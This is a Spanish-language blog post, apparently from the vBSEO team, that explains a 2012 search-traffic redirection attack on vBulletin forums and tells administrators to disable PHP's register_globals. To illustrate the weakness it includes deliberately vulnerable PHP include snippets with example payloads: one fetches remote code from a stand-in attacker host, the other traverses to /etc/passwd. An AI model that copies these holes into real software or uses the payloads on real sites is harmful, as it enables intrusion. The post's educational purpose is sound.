Aspectos básicos de seguridad: redirección a file2store.info, url2short.info, etc. ¿Cuáles fueron las causas del problema y cómo prevenirlo?
by
, 07-14-2012 at 08:07 PM (2764 Views)
Referencia original: Introduction to Security Basics: 123filestore and url123 redirection issues, what caused it and how to prevent it. - Blogs - vBulletin SEO Forums
Redirecciones a file2store.info, url2short.info, url123.info, myfilestore.com, filestore123.info. ¿Cuáles fueron las causas del problema y cómo prevenirlo?
A lo largo de los últimos meses, hemos visto que los foros han recibido atención especial por parte de comunidades de hackers, especialmente aquellos potenciados por vBulletin.
El ataque más reciente que ha surgido entre propietarios de vBulletin se caracteriza por una redirección que ha afectado a una gran variedad de foros en un período de tiempo relativamente corto. La raíz del problema se sitúa en un escenario muy particular.
El primer punto a tratar es saber que la mayoría de proveedores de servicios de hosting trabajan con herramientas de software automatizadas, como por ejemplo Plesk, cPanel, VistaPanel, entre otras; que les ayudan a ahorrar tiempo y trabajo en implementar las tareas más simples, y dependiendo de la cantidad de usuarios que ellos manejen, esta configuración usualmente es la misma (lo cual tiene sentido). Aun así hay trabajo por hacer después de comprar servicios de hosting y habilitar un foro.
Un problema importante reside en que en muchos de los servidores que proveedores de hosting ponen en venta, incluyen una directiva de PHP llamada "register_globals" habilitada por defecto.
¿De qué se trata la directiva "register_globals"?
Esta es una característica de PHP que cuando se habilita, permite la inyección de varios tipos de variables, como por ejemplo variables de tipo REQUEST mediante formularios en HTML. Esto, aunado al hecho de que en PHP no se requiere inicialización de variables, provoca un problema: la posibilidad de escribir código con hoyos de seguridad.
Habiendo dicho esto, todas aquellas variables que pasan por métodos GET o POST se encuentran disponibles como variables globales en el script que se esté programando (mediante cualquier archivo PHP). Debido a que el acceder a variables que no han sido declaradas no es un error propio de PHP (más bien una advertencia), hacerlo puede conllevar a situaciones de alto riesgo.
Estos son algunos ejemplos en los cuales, por tener register_globals habilitado, tu día puede verse arruinado:
Ataques de Inclusión Remota de Archivos (RFI - por sus siglas en inglés):
En el ejemplo anterior, se toma un archivo desde un sitio web remoto y lo inserta (por así decirlo) en tu sitio web y lo ejecuta. Tan solo imagina un usuario con malas intenciones que tenga en mano un archivo PHP que pueda eliminar todos los archivos en tu sitio web. Eso es algo que se puede realizar con este tipo de ataquesPHP Code:<?php
//http://example.com/?path=http://evilbadthings.example.com/
include "$path";
?>
Ataques de Inclusión de Archivos Locales (LFI - por sus siglas en inglés):
Este es otro tipo de ataque similar al anterior, pero en este caso hace uso de un archivo almacenado localmente en tu servidor, algunas veces para obtener la contraseña de algún directorio protegido, o para cambiarla y así obtener acceso. Esto, como es de esperar, puede conducir a calamidades.PHP Code:<?php
//http://example.com/?path=../../../../etc/passwd
include "$path";
?>
El exploit empleado en el problema de la redirección toma ventaja cuando la directiva "register_globals" está habilitada en el servidor infectado, y a su vez manipula varios archivos. En algunos casos, ataca a foros vBulletin + vBSEO, en otros a foros vBulletin + plugins de terceros (ten en cuenta que el problema no es exclusivo de instancias donde se ejecuta vBulletin + vBSEO).
Una vez que se ha dado la inyección, los scripts modificados provocaron una redirección que tomaba el tráfico proveniente de motores de búsqueda y lo dirigía a los sitios web mencionados con anterioridad. Reiteramos que este ataque no estaba orientado hacia un sitio web en particular (digamos, un sitio web donde vBulletin + vBSEO residen), sino más bien a la comunidad de foros de vBulletin en general.
Es importante mencionar que la directiva register_globals fue declarada como OBSOLETA con la liberación de PHP 5.3.0, y ha sido REMOVIDA en PHP 5.4.0.
¿Qué acciones podemos tomar para protegernos en caso de que ejecutemos versiones anteriores de PHP en servidores donde esta directiva permanece habilitada?
En primer instancia, debes consultar la información de PHP para verificar si esta directiva está habilitada. Puedes hacerlo a través del panel de administración de vBulletin, dirigiéndote a: Mantenimiento - Ver información de PHP. Una vez que estés allí, verás una página que despliega la información contenida en el archivo de configuración de PHP de tu servidor (php.ini), busca register_globals y asegúrate de que esté deshabilitada en ambas columnas (debe indicar "Off"). Si está habilitada ("On"), debes contactar a tus proveedores de hosting y solicitarles que la desactiven.
"register_globals" es una función obsoleta, y supone un alto riesgo de seguridad en cualquier servidor donde se ejecuten scripts de terceros. En definitiva, esta es una funcionalidad que todos los administradores de foros vBulletin deben considerar deshabilitar, además de cumplir con las prácticas de seguridad básicas, entre las cuales se incluye el mantener el foro actualizado. En cuanto una nueva versión (o boletín de seguridad) es liberada, debes actualizar de inmediato.
Como siempre, si experimentas (o si tus usuarios experimentan) alguna situación inusual, indaga, y por favor siéntete libre de formular cualquier pregunta a través de los foros de vBSEO, o formula directamente un ticket bajo la categoría "Security-related Issues". Recuerda que si puedes detectar una infección a tiempo, puedes ahorrarte mucho tiempo y esfuerzos en deshacerte de la infección.










